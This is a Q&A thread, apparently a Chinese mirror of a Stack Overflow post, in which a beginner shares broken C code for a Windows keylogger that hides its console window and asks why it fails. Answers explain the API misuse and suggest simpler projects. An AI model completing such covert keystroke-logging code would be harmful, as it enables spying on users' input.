2013-11-23 37 views
4

在學習了C語言的基礎知識後,我開始研究一些Win API函數。爲了教育目的,我決定嘗試製作一個簡單的鍵盤記錄器。它所做的只是記錄擊鍵並將它們保存到.txt文件中。我在互聯網上看到了一些例子,但我想讓它成爲我的方式(這更簡單)。這裏是我的代碼(我不知道爲什麼它不工作)(我還沒有完成它尚未):爲什麼我的鍵盤記錄器不能工作?

#include <stdio.h> 
#include <windows.h> 

int main(void) 
{ 
    short UserInputtedCharacter; 
    FILE *LogFile = fopen("log.txt", "a"); 

    //Hide console window 
    HWND HideWindow; 
    AllocConsole(); 
    HideWindow = FindWindowA("ConsoleWindowClass", NULL); 
    ShowWindow(HideWindow, 0); 

    while(1) 
    { 
     GetAsyncKeyState(UserInputtedCharacter); 

     switch(UserInputtedCharacter) 
     { 
      case VK_SPACE: 
       fputc(' ', LogFile); 
       break; 
      case VK_RETURN: 
       fputc('\n', LogFile); 
       break; 
      case VK_BACK: 
       fputs("[BACKSPACE]", LogFile); 
       break; 
      case VK_DELETE: 
       fputs("[DEL]", LogFile); 
       break; 
      case VK_CAPITAL: 
       fputs("[CAPS LOCK]", LogFile); 
       break; 
      case 0x30: 
       fputc('0', LogFile); 
       break; 
      case 0x31: 
       fputc('1', LogFile); 
       break; 
      case 0x32: 
       fputc('2', LogFile); 
       break; 
      case 0x33: 
       fputc('3', LogFile); 
       break; 
      case 0x34: 
       fputc('4', LogFile); 
       break; 
      case 0x35: 
       fputc('5', LogFile); 
       break; 
      case 0x36: 
       fputc('6', LogFile); 
       break; 
      case 0x37: 
       fputc('7', LogFile); 
       break; 
      case 0x38: 
       fputc('8', LogFile); 
       break; 
      case 0x39: 
       fputc('9', LogFile); 
       break; 
      case 0x61: 
       fputc('a', LogFile); 
       break; 
      case 0x62: 
       fputc('b', LogFile); 
       break; 
      case 0x63: 
       fputc('c', LogFile); 
       break; 
      case 0x64: 
       fputc('d', LogFile); 
       break; 
     } 
    } 
    fclose(LogFile); 
    return 0; 
} 

程序未保存擊鍵.txt文件。

順便說一句,該程序遠沒有完成,我只是想知道爲什麼它不工作。

+2

歡迎來到[so],很高興看到另一位年輕的程序員在這裏。你能描述一下你的意思嗎?「不工作」?當你有時間時,請看看[幫助],看看我們的工作方式以及我們在這裏做事情的一些方式。謝謝! –

+2

一個非常不錯的歡迎@ Qantas94Heavy,非常溫暖 –

+0

逐個寫出整套字符是痛苦的重複(並容易出錯)。您應該從'#include '中查看宏,例如'isascii()'和'isprint()'或'isalnum()',這可以讓您大大壓縮代碼。 –

回答

3

有很多事情,你必須解決。

  1. GetAsyncKeyState不修改它給出的參數。您可以完全按照寫入方式刪除該呼叫。您的編譯器可能會抱怨UserInputtedCharacter在被初始化之前被讀取。
  2. Windows程序是基於事件的。你should write an event loop並尋找WM_KEYDOWN和WM_KEYUP。
  3. 你有一個非常緊密的循環,它將消耗運行的核心的所有CPU。如果您不想/需要事件循環,請查看getc()或類似的內容。
  4. 默認情況下,進程相當孤立。閱讀每個應用程序的擊鍵都很困難。

當然,你什麼也學不到。但考慮從一個更簡單的項目開始。一個獨立的應用程序,連接到互聯網和retreives StackOverflow的主頁應該具有足夠的挑戰性。

+0

好的,謝謝。其他鍵盤記錄器的源代碼比這個複雜得多,我試圖簡化它。我想這些複雜的東西是有原因的。 – user3024008

相關問題